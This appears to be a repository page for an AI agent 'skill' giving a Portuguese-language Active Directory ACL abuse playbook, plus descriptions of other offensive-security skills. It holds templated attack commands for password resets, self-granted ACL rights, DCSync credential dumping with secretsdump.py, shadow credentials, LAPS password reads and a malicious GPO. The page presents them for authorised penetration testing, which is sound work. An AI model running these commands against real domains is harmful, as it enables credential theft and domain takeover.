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yaklang/active-directory-acl-abuse

Manual de abuso de ACL do Active Directory. Use ao explorar permissões AD mal configuradas, incluindo GenericAll, WriteDACL, direitos DCSync, credenciais sombra, leitura de LAPS, abuso de GPO e caminhos de ataque guiados pelo BloodHound.

O que é active-directory-acl-abuse?

Esta skill fornece um playbook abrangente para abuso de ACL (Listas de Controle de Acesso) do Active Directory, projetada para auxiliar agentes de IA e profissionais de segurança durante testes de penetração ou caça a vulnerabilidades. Ela cobre cenários críticos como permissões GenericAll e WriteDACL, direitos de replicação de diretório (DCSync), exploração de shadow credentials, leitura de senhas LAPS, abuso de Objetos de Política de Grupo (GPO) e ataques baseados em caminhos descobertos pelo BloodHound. O playbook é útil ao auditar permissões AD mal configuradas, oferecendo comandos e técnicas práticas para elevar privilégios ou comprometer domínios. Suporta ferramentas como BloodHound, PowerView, Impacket, ldapdomaindump e utilitários nativos do Windows, sendo relevante para ambientes Windows on-premises e híbridos. O funcionamento baseia-se na execução de etapas sequenciais de enumeração e abuso, com foco em transformar permissões excessivas em controle total sobre o domínio.

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Documentação

O que active-directory-acl-abuse faz?

Manual de abuso de ACL do Active Directory. Use ao explorar permissões AD mal configuradas, incluindo GenericAll, WriteDACL, direitos DCSync, credenciais sombra, leitura de LAPS, abuso de GPO e caminhos de ataque guiados pelo BloodHound.

Cenários de Abuso de ACL

1. GenericAll no Objeto Usuário

# Enumerar permissões com PowerView
Find-InterestingDomainAcl

# Alterar senha do usuário alvo
net user <username> <newpassword> /domain

2. WriteDACL no Objeto Usuário

# Conceder GenericAll a si mesmo
Add-DomainObjectAcl -TargetIdentity <username> -PrincipalIdentity <attacker> -Rights All

3. Direitos DCSync

# Verificar direitos DCSync no BloodHound
# Executar ataque DCSync com Impacket
secretsdump.py -just-dc <domain>/<user>:<password>@<dc-ip>

4. Shadow Credentials

# Adicionar credenciais PKINIT com Whisker
Whisker.exe add /target:<username> /domain:<domain> /dc:<dc>

5. Leitura de LAPS

# Ler senha LAPS com ferramentas nativas
Get-AdmPwdPassword -ComputerName <computer>

6. Abuso de GPO

# Conceder privilégios locais via GPO
New-GPO -Name "MaliciousGPO"
Set-GPPrefRegistryValue -Name "MaliciousGPO" -Context Computer -Action Create -Key "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -ValueName "DefaultUserName" -Value "<user>" -Type String

7. Caminhos de Ataque do BloodHound

# Usar consultas Cypher para encontrar caminhos de ataque
MATCH p=()-[r:GenericAll|WriteDACL|DCSync*1..3]->() RETURN p

Ferramentas Necessárias

  • BloodHound
  • PowerView
  • Impacket
  • ldapdomaindump
  • Whisker
  • Módulo LAPS
  • Ferramentas Nativas do Windows (net, dsacls)

Notas

Sempre verifique logs e políticas de auditoria antes de executar ações destrutivas. Use em ambientes autorizados.

Referências

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

yaklang/cmdi-command-injection

Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.

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